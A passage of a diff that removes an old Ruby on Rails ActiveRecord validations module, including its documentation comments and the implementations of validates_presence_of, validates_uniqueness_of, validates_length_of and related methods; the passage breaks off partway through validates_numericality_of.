-  end
-
-
-  # Please do have a look at ActiveRecord::Validations::ClassMethods for a higher level of validations.
-  #
-  # Active Records implement validation by overwriting Base#validate (or the variations, +validate_on_create+ and
-  # +validate_on_update+). Each of these methods can inspect the state of the object, which usually means ensuring
-  # that a number of attributes have a certain value (such as not empty, within a given range, matching a certain regular expression).
-  #
-  # Example:
-  #
-  #   class Person < ActiveRecord::Base
-  #     protected
-  #       def validate
-  #         errors.add_on_empty %w( first_name last_name )
-  #         errors.add("phone_number", "has invalid format") unless phone_number =~ /[0-9]*/
-  #       end
-  #
-  #       def validate_on_create # is only run the first time a new object is saved
-  #         unless valid_discount?(membership_discount)
-  #           errors.add("membership_discount", "has expired")
-  #         end
-  #       end
-  #
-  #       def validate_on_update
-  #         errors.add_to_base("No changes have occurred") if unchanged_attributes?
-  #       end
-  #   end
-  #
-  #   person = Person.new("first_name" => "David", "phone_number" => "what?")
-  #   person.save                         # => false (and doesn't do the save)
-  #   person.errors.empty?                # => false
-  #   person.errors.count                 # => 2
-  #   person.errors.on "last_name"        # => "can't be empty"
-  #   person.errors.on "phone_number"     # => "has invalid format"
-  #   person.errors.each_full { |msg| puts msg }
-  #                                       # => "Last name can't be empty\n" +
-  #                                       #    "Phone number has invalid format"
-  #
-  #   person.attributes = { "last_name" => "Heinemeier", "phone_number" => "555-555" }
-  #   person.save # => true (and person is now saved in the database)
-  #
-  # An Errors object is automatically created for every Active Record.
-  module Validations
-    VALIDATIONS = %w( validate validate_on_create validate_on_update )
-
-    def self.included(base) # :nodoc:
-      base.extend ClassMethods
-      base.class_eval do
-        alias_method_chain :save, :validation
-        alias_method_chain :save!, :validation
-      end
-
-      base.send :include, ActiveSupport::Callbacks
-      base.define_callbacks *VALIDATIONS
-    end
-
-    # Active Record classes can implement validations in several ways. The highest level, easiest to read,
-    # and recommended approach is to use the declarative <tt>validates_..._of</tt> class methods (and
-    # +validates_associated+) documented below. These are sufficient for most model validations.
-    #
-    # Slightly lower level is +validates_each+. It provides some of the same options as the purely declarative
-    # validation methods, but like all the lower-level approaches it requires manually adding to the errors collection
-    # when the record is invalid.
-    #
-    # At a yet lower level, a model can use the class methods +validate+, +validate_on_create+ and +validate_on_update+
-    # to add validation methods or blocks. These are ActiveSupport::Callbacks and follow the same rules of inheritance
-    # and chaining.
-    #
-    # The lowest level style is to define the instance methods +validate+, +validate_on_create+ and +validate_on_update+
-    # as documented in ActiveRecord::Validations.
-    #
-    # == +validate+, +validate_on_create+ and +validate_on_update+ Class Methods
-    #
-    # Calls to these methods add a validation method or block to the class. Again, this approach is recommended
-    # only when the higher-level methods documented below (<tt>validates_..._of</tt> and +validates_associated+) are
-    # insufficient to handle the required validation.
-    #
-    # This can be done with a symbol pointing to a method:
-    #
-    #   class Comment < ActiveRecord::Base
-    #     validate :must_be_friends
-    #
-    #     def must_be_friends
-    #       errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
-    #     end
-    #   end
-    #
-    # Or with a block which is passed the current record to be validated:
-    #
-    #   class Comment < ActiveRecord::Base
-    #     validate do |comment|
-    #       comment.must_be_friends
-    #     end
-    #
-    #     def must_be_friends
-    #       errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
-    #     end
-    #   end
-    #
-    # This usage applies to +validate_on_create+ and +validate_on_update+ as well.
-    module ClassMethods
-      DEFAULT_VALIDATION_OPTIONS = {
-        :on => :save,
-        :allow_nil => false,
-        :allow_blank => false,
-        :message => nil
-      }.freeze
-
-      ALL_RANGE_OPTIONS = [ :is, :within, :in, :minimum, :maximum ].freeze
-      ALL_NUMERICALITY_CHECKS = { :greater_than => '>', :greater_than_or_equal_to => '>=',
-                                  :equal_to => '==', :less_than => '<', :less_than_or_equal_to => '<=',
-                                  :odd => 'odd?', :even => 'even?' }.freeze
-
-      # Validates each attribute against a block.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_each :first_name, :last_name do |record, attr, value|
-      #       record.errors.add attr, 'starts with z.' if value[0] == ?z
-      #     end
-      #   end
-      #
-      # Options:
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
-      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_each(*attrs)
-        options = attrs.extract_options!.symbolize_keys
-        attrs   = attrs.flatten
-
-        # Declare the validation.
-        send(validation_method(options[:on] || :save), options) do |record|
-          attrs.each do |attr|
-            value = record.send(attr)
-            next if (value.nil? && options[:allow_nil]) || (value.blank? && options[:allow_blank])
-            yield record, attr, value
-          end
-        end
-      end
-
-      # Encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
-      #
-      #   Model:
-      #     class Person < ActiveRecord::Base
-      #       validates_confirmation_of :user_name, :password
-      #       validates_confirmation_of :email_address, :message => "should match confirmation"
-      #     end
-      #
-      #   View:
-      #     <%= password_field "person", "password" %>
-      #     <%= password_field "person", "password_confirmation" %>
-      #
-      # The added +password_confirmation+ attribute is virtual; it exists only as an in-memory attribute for validating the password.
-      # To achieve this, the validation adds accessors to the model for the confirmation attribute. NOTE: This check is performed
-      # only if +password_confirmation+ is not +nil+, and by default only on save. To require confirmation, make sure to add a presence
-      # check for the confirmation attribute:
-      #
-      #   validates_presence_of :password_confirmation, :if => :password_changed?
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "doesn't match confirmation").
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_confirmation_of(*attr_names)
-        configuration = { :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        attr_accessor(*(attr_names.map { |n| "#{n}_confirmation" }))
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          unless record.send("#{attr_name}_confirmation").nil? or value == record.send("#{attr_name}_confirmation")
-            record.errors.add(attr_name, :confirmation, :default => configuration[:message])
-          end
-        end
-      end
-
-      # Encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_acceptance_of :terms_of_service
-      #     validates_acceptance_of :eula, :message => "must be abided"
-      #   end
-      #
-      # If the database column does not exist, the +terms_of_service+ attribute is entirely virtual. This check is
-      # performed only if +terms_of_service+ is not +nil+ and by default on save.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "must be accepted").
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is true).
-      # * <tt>:accept</tt> - Specifies value that is considered accepted.  The default value is a string "1", which
-      #   makes it easy to relate to an HTML checkbox. This should be set to +true+ if you are validating a database
-      #   column, since the attribute is typecast from "1" to +true+ before validation.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_acceptance_of(*attr_names)
-        configuration = { :on => :save, :allow_nil => true, :accept => "1" }
-        configuration.update(attr_names.extract_options!)
-
-        db_cols = begin
-          column_names
-        rescue Exception # To ignore both statement and connection errors
-          []
-        end
-        names = attr_names.reject { |name| db_cols.include?(name.to_s) }
-        attr_accessor(*names)
-
-        validates_each(attr_names,configuration) do |record, attr_name, value|
-          unless value == configuration[:accept]
-            record.errors.add(attr_name, :accepted, :default => configuration[:message])
-          end
-        end
-      end
-
-      # Validates that the specified attributes are not blank (as defined by Object#blank?). Happens by default on save. Example:
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_presence_of :first_name
-      #   end
-      #
-      # The first_name attribute must be in the object and it cannot be blank.
-      #
-      # If you want to validate the presence of a boolean field (where the real values are true and false),
-      # you will want to use <tt>validates_inclusion_of :field_name, :in => [true, false]</tt>.
-      #
-      # This is due to the way Object#blank? handles boolean values: <tt>false.blank? # => true</tt>.
-      #
-      # Configuration options:
-      # * <tt>message</tt> - A custom error message (default is: "can't be blank").
-      # * <tt>on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>,
-      #   <tt>:update</tt>).
-      # * <tt>if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      #
-      def validates_presence_of(*attr_names)
-        configuration = { :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        # can't use validates_each here, because it cannot cope with nonexistent attributes,
-        # while errors.add_on_empty can
-        send(validation_method(configuration[:on]), configuration) do |record|
-          record.errors.add_on_blank(attr_names, configuration[:message])
-        end
-      end
-
-      # Validates that the specified attribute matches the length restrictions supplied. Only one option can be used at a time:
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_length_of :first_name, :maximum=>30
-      #     validates_length_of :last_name, :maximum=>30, :message=>"less than %{count} if you don't mind"
-      #     validates_length_of :fax, :in => 7..32, :allow_nil => true
-      #     validates_length_of :phone, :in => 7..32, :allow_blank => true
-      #     validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
-      #     validates_length_of :fav_bra_size, :minimum => 1, :too_short => "please enter at least %{count} character"
-      #     validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with %{count} characters... don't play me."
-      #     validates_length_of :essay, :minimum => 100, :too_short => "Your essay must be at least %{count} words."), :tokenizer => lambda {|str| str.scan(/\w+/) }
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:minimum</tt> - The minimum size of the attribute.
-      # * <tt>:maximum</tt> - The maximum size of the attribute.
-      # * <tt>:is</tt> - The exact size of the attribute.
-      # * <tt>:within</tt> - A range specifying the minimum and maximum size of the attribute.
-      # * <tt>:in</tt> - A synonym(or alias) for <tt>:within</tt>.
-      # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation.
-      # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation.
-      # * <tt>:too_long</tt> - The error message if the attribute goes over the maximum (default is: "is too long (maximum is %{count} characters)").
-      # * <tt>:too_short</tt> - The error message if the attribute goes under the minimum (default is: "is too short (min is %{count} characters)").
-      # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt> method and the attribute is the wrong size (default is: "is the wrong length (should be %{count} characters)").
-      # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, <tt>:maximum</tt>, or <tt>:is</tt> violation.  An alias of the appropriate <tt>too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message.
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string. (e.g. <tt>:tokenizer => lambda {|str| str.scan(/\w+/)}</tt> to
-      #   count words as in above example.)
-      #   Defaults to <tt>lambda{ |value| value.split(//) }</tt> which counts individual characters.
-      def validates_length_of(*attrs)
-        # Merge given options with defaults.
-        options = {
-          :tokenizer => lambda {|value| value.split(//)}
-        }.merge(DEFAULT_VALIDATION_OPTIONS)
-        options.update(attrs.extract_options!.symbolize_keys)
-
-        # Ensure that one and only one range option is specified.
-        range_options = ALL_RANGE_OPTIONS & options.keys
-        case range_options.size
-          when 0
-            raise ArgumentError, 'Range unspecified.  Specify the :within, :maximum, :minimum, or :is option.'
-          when 1
-            # Valid number of options; do nothing.
-          else
-            raise ArgumentError, 'Too many range options specified.  Choose only one.'
-        end
-
-        # Get range option and value.
-        option = range_options.first
-        option_value = options[range_options.first]
-        key = {:is => :wrong_length, :minimum => :too_short, :maximum => :too_long}[option]
-        custom_message = options[:message] || options[key]
-
-        case option
-          when :within, :in
-            raise ArgumentError, ":#{option} must be a Range" unless option_value.is_a?(Range)
-
-            validates_each(attrs, options) do |record, attr, value|
-              value = options[:tokenizer].call(value) if value.kind_of?(String)
-              if value.nil? or value.size < option_value.begin
-                record.errors.add(attr, :too_short, :default => custom_message || options[:too_short], :count => option_value.begin)
-              elsif value.size > option_value.end
-                record.errors.add(attr, :too_long, :default => custom_message || options[:too_long], :count => option_value.end)
-              end
-            end
-          when :is, :minimum, :maximum
-            raise ArgumentError, ":#{option} must be a nonnegative Integer" unless option_value.is_a?(Integer) and option_value >= 0
-
-            # Declare different validations per option.
-            validity_checks = { :is => "==", :minimum => ">=", :maximum => "<=" }
-
-            validates_each(attrs, options) do |record, attr, value|
-              value = options[:tokenizer].call(value) if value.kind_of?(String)
-              unless !value.nil? and value.size.method(validity_checks[option])[option_value]
-                record.errors.add(attr, key, :default => custom_message, :count => option_value)
-              end
-            end
-        end
-      end
-
-      alias_method :validates_size_of, :validates_length_of
-
-
-      # Validates whether the value of the specified attributes are unique across the system. Useful for making sure that only one user
-      # can be named "davidhh".
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_uniqueness_of :user_name, :scope => :account_id
-      #   end
-      #
-      # It can also validate whether the value of the specified attributes are unique based on multiple scope parameters.  For example,
-      # making sure that a teacher can only be on the schedule once per semester for a particular class.
-      #
-      #   class TeacherSchedule < ActiveRecord::Base
-      #     validates_uniqueness_of :teacher_id, :scope => [:semester_id, :class_id]
-      #   end
-      #
-      # When the record is created, a check is performed to make sure that no record exists in the database with the given value for the specified
-      # attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "has already been taken").
-      # * <tt>:scope</tt> - One or more columns by which to limit the scope of the uniqueness constraint.
-      # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by non-text columns (+true+ by default).
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      #
-      # === Concurrency and integrity
-      #
-      # Using this validation method in conjunction with ActiveRecord::Base#save
-      # does not guarantee the absence of duplicate record insertions, because
-      # uniqueness checks on the application level are inherently prone to race
-      # conditions. For example, suppose that two users try to post a Comment at
-      # the same time, and a Comment's title must be unique. At the database-level,
-      # the actions performed by these users could be interleaved in the following manner:
-      #
-      #               User 1                 |               User 2
-      #  ------------------------------------+--------------------------------------
-      #  # User 1 checks whether there's     |
-      #  # already a comment with the title  |
-      #  # 'My Post'. This is not the case.  |
-      #  SELECT * FROM comments              |
-      #  WHERE title = 'My Post'             |
-      #                                      |
-      #                                      | # User 2 does the same thing and also
-      #                                      | # infers that his title is unique.
-      #                                      | SELECT * FROM comments
-      #                                      | WHERE title = 'My Post'
-      #                                      |
-      #  # User 1 inserts his comment.       |
-      #  INSERT INTO comments                |
-      #  (title, content) VALUES             |
-      #  ('My Post', 'hi!')                  |
-      #                                      |
-      #                                      | # User 2 does the same thing.
-      #                                      | INSERT INTO comments
-      #                                      | (title, content) VALUES
-      #                                      | ('My Post', 'hello!')
-      #                                      |
-      #                                      | # ^^^^^^
-      #                                      | # Boom! We now have a duplicate
-      #                                      | # title!
-      #
-      # This could even happen if you use transactions with the 'serializable'
-      # isolation level. There are several ways to get around this problem:
-      # - By locking the database table before validating, and unlocking it after
-      #   saving. However, table locking is very expensive, and thus not
-      #   recommended.
-      # - By locking a lock file before validating, and unlocking it after saving.
-      #   This does not work if you've scaled your Rails application across
-      #   multiple web servers (because they cannot share lock files, or cannot
-      #   do that efficiently), and thus not recommended.
-      # - Creating a unique index on the field, by using
-      #   ActiveRecord::ConnectionAdapters::SchemaStatements#add_index. In the
-      #   rare case that a race condition occurs, the database will guarantee
-      #   the field's uniqueness.
-      #
-      #   When the database catches such a duplicate insertion,
-      #   ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid
-      #   exception. You can either choose to let this error propagate (which
-      #   will result in the default Rails exception page being shown), or you
-      #   can catch it and restart the transaction (e.g. by telling the user
-      #   that the title already exists, and asking him to re-enter the title).
-      #   This technique is also known as optimistic concurrency control:
-      #   http://en.wikipedia.org/wiki/Optimistic_concurrency_control
-      #
-      #   Active Record currently provides no way to distinguish unique
-      #   index constraint errors from other types of database errors, so you
-      #   will have to parse the (database-specific) exception message to detect
-      #   such a case.
-      def validates_uniqueness_of(*attr_names)
-        configuration = { :case_sensitive => true }
-        configuration.update(attr_names.extract_options!)
-
-        validates_each(attr_names,configuration) do |record, attr_name, value|
-          # The check for an existing value should be run from a class that
-          # isn't abstract. This means working down from the current class
-          # (self), to the first non-abstract class. Since classes don't know
-          # their subclasses, we have to build the hierarchy between self and
-          # the record's class.
-          class_hierarchy = [record.class]
-          while class_hierarchy.first != self
-            class_hierarchy.insert(0, class_hierarchy.first.superclass)
-          end
-
-          # Now we can work our way down the tree to the first non-abstract
-          # class (which has a database table to query from).
-          finder_class = class_hierarchy.detect { |klass| !klass.abstract_class? }
-
-          column = finder_class.columns_hash[attr_name.to_s]
-
-          if value.nil?
-            comparison_operator = "IS ?"
-          elsif column.text?
-            comparison_operator = "#{connection.case_sensitive_equality_operator} ?"
-            value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s
-          else
-            comparison_operator = "= ?"
-          end
-
-          sql_attribute = "#{record.class.quoted_table_name}.#{connection.quote_column_name(attr_name)}"
-
-          if value.nil? || (configuration[:case_sensitive] || !column.text?)
-            condition_sql = "#{sql_attribute} #{comparison_operator}"
-            condition_params = [value]
-          else
-            condition_sql = "LOWER(#{sql_attribute}) #{comparison_operator}"
-            condition_params = [value.mb_chars.downcase]
-          end
-
-          if scope = configuration[:scope]
-            Array(scope).map do |scope_item|
-              scope_value = record.send(scope_item)
-              condition_sql << " AND " << attribute_condition("#{record.class.quoted_table_name}.#{connection.quote_column_name(scope_item)}", scope_value)
-              condition_params << scope_value
-            end
-          end
-
-          unless record.new_record?
-            condition_sql << " AND #{record.class.quoted_table_name}.#{record.class.primary_key} <> ?"
-            condition_params << record.send(:id)
-          end
-
-          finder_class.with_exclusive_scope do
-            if finder_class.exists?([condition_sql, *condition_params])
-              record.errors.add(attr_name, :taken, :default => configuration[:message], :value => value)
-            end
-          end
-        end
-      end
-
-
-      # Validates whether the value of the specified attribute is of the correct form by matching it against the regular expression
-      # provided.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_format_of :email, :with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, :on => :create
-      #   end
-      #
-      # Note: use <tt>\A</tt> and <tt>\Z</tt> to match the start and end of the string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
-      #
-      # A regular expression must be provided or else an exception will be raised.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is invalid").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:with</tt> - The regular expression used to validate the format with (note: must be supplied!).
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_format_of(*attr_names)
-        configuration = { :on => :save, :with => nil }
-        configuration.update(attr_names.extract_options!)
-
-        raise(ArgumentError, "A regular expression must be supplied as the :with option of the configuration hash") unless configuration[:with].is_a?(Regexp)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          unless value.to_s =~ configuration[:with]
-            record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value)
-          end
-        end
-      end
-
-      # Validates whether the value of the specified attribute is available in a particular enumerable object.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_inclusion_of :gender, :in => %w( m f )
-      #     validates_inclusion_of :age, :in => 0..99
-      #     validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension %{value} is not included in the list"
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:in</tt> - An enumerable object of available items.
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "is not included in the list").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_inclusion_of(*attr_names)
-        configuration = { :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        enum = configuration[:in] || configuration[:within]
-
-        raise(ArgumentError, "An object with the method include? is required must be supplied as the :in option of the configuration hash") unless enum.respond_to?(:include?)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          unless enum.include?(value)
-            record.errors.add(attr_name, :inclusion, :default => configuration[:message], :value => value)
-          end
-        end
-      end
-
-      # Validates that the value of the specified attribute is not in a particular enumerable object.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_exclusion_of :username, :in => %w( admin superuser ), :message => "You don't belong here"
-      #     validates_exclusion_of :age, :in => 30..60, :message => "This site is only for under 30 and over 60"
-      #     validates_exclusion_of :format, :in => %w( mov avi ), :message => "extension %{value} is not allowed"
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:in</tt> - An enumerable object of items that the value shouldn't be part of.
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "is reserved").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_exclusion_of(*attr_names)
-        configuration = { :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        enum = configuration[:in] || configuration[:within]
-
-        raise(ArgumentError, "An object with the method include? is required must be supplied as the :in option of the configuration hash") unless enum.respond_to?(:include?)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          if enum.include?(value)
-            record.errors.add(attr_name, :exclusion, :default => configuration[:message], :value => value)
-          end
-        end
-      end
-
-      # Validates whether the associated object or objects are all valid themselves. Works with any kind of association.
-      #
-      #   class Book < ActiveRecord::Base
-      #     has_many :pages
-      #     belongs_to :library
-      #
-      #     validates_associated :pages, :library
-      #   end
-      #
-      # Warning: If, after the above definition, you then wrote:
-      #
-      #   class Page < ActiveRecord::Base
-      #     belongs_to :book
-      #
-      #     validates_associated :book
-      #   end
-      #
-      # this would specify a circular dependency and cause infinite recursion.
-      #
-      # NOTE: This validation will not fail if the association hasn't been assigned. If you want to ensure that the association
-      # is both present and guaranteed to be valid, you also need to use +validates_presence_of+.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is invalid")
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_associated(*attr_names)
-        configuration = { :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          unless (value.is_a?(Array) ? value : [value]).collect { |r| r.nil? || r.valid? }.all?
-            record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value)
-          end
-        end
-      end
-
-      # Validates whether the value of the specified attribute is numeric by trying to convert it to
-      # a float with Kernel.Float (if <tt>only_integer</tt> is false) or applying it to the regular expression
-      # <tt>/\A[\+\-]?\d+\Z/</tt> (if <tt>only_integer</tt> is set to true).
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_numericality_of :value, :on => :create
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is not a number").
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:only_integer</tt> - Specifies whether the value has to be an integer, e.g. an integral value (default is +false+).
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is +false+). Notice that for fixnum and float columns empty strings are converted to +nil+.
-      # * <tt>:greater_than</tt> - Specifies the value must be greater than the supplied value.
-      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be greater than or equal the supplied value.
-      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied value.
-      # * <tt>:less_than</tt> - Specifies the value must be less than the supplied value.
-      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less than or equal the supplied value.
-      # * <tt>:odd</tt> - Specifies the value must be an odd number.
-      # * <tt>:even</tt> - Specifies the value must be an even number.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_numericality_of(*attr_names)
-        configuration = { :on => :save, :only_integer => false, :allow_nil => false }
-        configuration.update(attr_names.extract_options!)
-
-
-        numericality_options = ALL_NUMERICALITY_CHECKS.keys & configuration.keys
-
